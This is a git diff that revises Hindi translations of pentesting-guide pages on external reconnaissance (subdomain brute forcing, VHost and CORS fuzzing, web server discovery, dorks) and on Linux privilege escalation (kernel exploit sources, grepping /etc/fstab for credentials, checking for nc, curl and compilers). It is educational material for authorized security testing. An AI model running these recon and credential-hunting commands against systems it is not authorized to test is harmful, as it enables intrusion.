-यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\
-_Note करें कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
+यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको **बुनियादी कमजोरियों की स्कैनिंग** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** पा सकते हैं।\
+_ध्यान दें कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
## उपडोमेन
@@ -315,15 +315,15 @@ python3 DomainTrail.py -d example.com
- [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
-यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
-आप यहाँ कई उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
+आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS ब्रूट फोर्स**
आइए संभावित उपडोमेन नामों का उपयोग करके DNS सर्वरों को ब्रूट-फोर्स करके नए **उपडोमेन** खोजने की कोशिश करें।
-इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियाँ जैसे** चाहिए:
+इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियों की आवश्यकता होगी जैसे**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -331,7 +331,7 @@ python3 DomainTrail.py -d example.com
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
-और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं:
@@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है।
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है।
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -361,21 +361,21 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
खुले स्रोतों और ब्रूट-फोर्सिंग का उपयोग करके उपडोमेन खोजने के बाद, आप पाए गए उपडोमेन के परिवर्तनों को उत्पन्न कर सकते हैं ताकि और भी अधिक खोजने की कोशिश की जा सके। इस उद्देश्य के लिए कई उपकरण उपयोगी हैं:
-- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** दिए गए डोमेन और उपडोमेन के लिए permutations उत्पन्न करता है।
+- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** दिए गए डोमेन और उपडोमेन के लिए permutations उत्पन्न करें।
```bash
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें।
-- आप goaltdns संयोजन **शब्दसूची** [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं।
+- आप [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) goaltdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं।
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-- [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
+- [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की कोशिश भी कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)।
-- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं।
+- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -413,11 +413,11 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / वर्चुअल होस्ट**
-यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**।
+यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**।
#### OSINT
-आप कुछ **VHosts को IP में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**।
+आप कुछ **VHosts को IPs में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**।
**ब्रूट फोर्स**
@@ -440,7 +440,7 @@ VHostScan -t example.com
### **CORS Brute Force**
-कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
+कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं।
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@@ -458,15 +458,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
-_ध्यान दें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
+यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से एसेट खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
+_ध्यान दें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
-## IPs
+## आईपी
प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\
-अब समय है कि आप **उन रेंज से सभी IPs को इकट्ठा करें** और **डोमेन/सबडोमेन (DNS क्वेरी) के लिए।**
+अब **उन रेंज से सभी आईपी को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है।
-निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
+निम्नलिखित **फ्री एपीआई** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले आईपी** भी पा सकते हैं। ये आईपी अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
- [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -474,17 +474,17 @@ _ध्यान दें कि कभी-कभी सबडोमेन ए
### **कमजोरियों की तलाश**
-**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**।
+**CDNs से संबंधित सभी आईपी का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों** को **पाने में सक्षम हो सकते हैं**।
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/index.html) **खोजें।**
## वेब सर्वर शिकार
-> हमने सभी कंपनियों और उनकी संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
+> हमने सभी कंपनियों और उनके एसेट्स को खोज लिया है और हम दायरे के भीतर आईपी रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
-पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभव सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आप नहीं पाए हैं, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
+पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IP और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभवतः सभी संभावित वेब सर्वरों को पहले से ही खोज चुके हैं**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
-कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** को भी करना चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
+कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/index.html#http-port-discovery).\
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
@@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
-अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी का स्क्रीनशॉट लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं।
+अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी के **स्क्रीनशॉट** लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं।
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।**
@@ -557,7 +557,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
#### गिटहब डॉर्क्स
-आप उस **पृष्ठ** की भी जांच करें जहाँ संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
+संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें जिन्हें आप उस संगठन में भी खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
{{#ref}}
github-leaked-secrets.md
@@ -570,7 +570,7 @@ github-leaked-secrets.md
### गूगल डॉर्क्स
-पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**।
+पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**।
_ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_
@@ -582,7 +582,7 @@ _ध्यान दें कि जो उपकरण नियमित Goog
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं।
-**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं:
+**भाषा के आधार पर** आपके पास उपयोग करने के लिए विभिन्न **उपकरण** हो सकते हैं:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
@@ -596,7 +596,7 @@ _ध्यान दें कि जो उपकरण नियमित Goog
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/index.html)।
-मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी** प्राप्त करने के लिए कार्यप्रवाह में लागू करने के लिए सहायक होते हैं।
+मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स उपकरण**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी** प्राप्त करने के लिए कार्यप्रवाह में लागू करने के लिए सहायक होते हैं।
## पुनरावलोकन
@@ -609,14 +609,14 @@ _ध्यान दें कि जो उपकरण नियमित Goog
3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया है
4. डोमेन के सभी **सबडोमेन** को खोज लिया है (क्या कोई सबडोमेन टेकओवर?)
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है।
-6. सभी **वेब सर्वर** को खोज लिया है और उनका **स्क्रीनशॉट** लिया है (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
+6. सभी **वेब सर्वर** को खोज लिया है और उनके **स्क्रीनशॉट** लिए हैं (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है।
8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
-9. **आपने सभी वेब्स का पेंटेस्टिंग किया है जो आपने खोजी हैं**
+9. आपने जो भी वेब खोजी है, उसका **पेंटेस्टिंग** किया है।
## **पूर्ण पुनः खोज स्वचालित उपकरण**
-कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे।
+कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को करेंगे।
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index f52aac5a4..709f2bbb8 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### OS info
-आइए चल रहे OS के बारे में कुछ जानकारी प्राप्त करना शुरू करें
+आइए चलिए चल रहे OS के बारे में कुछ जानकारी प्राप्त करते हैं
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -32,14 +32,14 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **compiled exploits** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)।\
-अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **संकलित एक्सप्लॉइट्स** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)।\
+अन्य साइटें जहाँ आप कुछ **संकलित एक्सप्लॉइट्स** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
-कर्नेल एक्सप्लॉइट्स की खोज करने में मदद करने के लिए उपकरण हैं:
+कर्नेल एक्सप्लॉइट्स की खोज में मदद करने के लिए उपकरण हैं:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
@@ -131,7 +131,7 @@ docker-security/
## Drives
-चेक करें **क्या माउंटेड और अनमाउंटेड है**, कहाँ और क्यों। यदि कुछ अनमाउंटेड है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं।
+जांचें **क्या माउंट किया गया है और क्या अनमाउंट किया गया है**, कहाँ और क्यों। यदि कुछ अनमाउंट किया गया है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं।
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको किसी कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)।
+इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@@ -156,39 +156,39 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
dpkg -l #Debian
rpm -qa #Centos
```
-यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं।
+यदि आपके पास मशीन पर SSH एक्सेस है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं।
> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_
-## प्रक्रियाएँ
+## Processes
-देखें कि **कौन सी प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **उससे अधिक विशेषाधिकार रखती है जितनी उसे होनी चाहिए** (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?)
+देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?)
```bash
ps aux
ps -ef
top -n 1
```
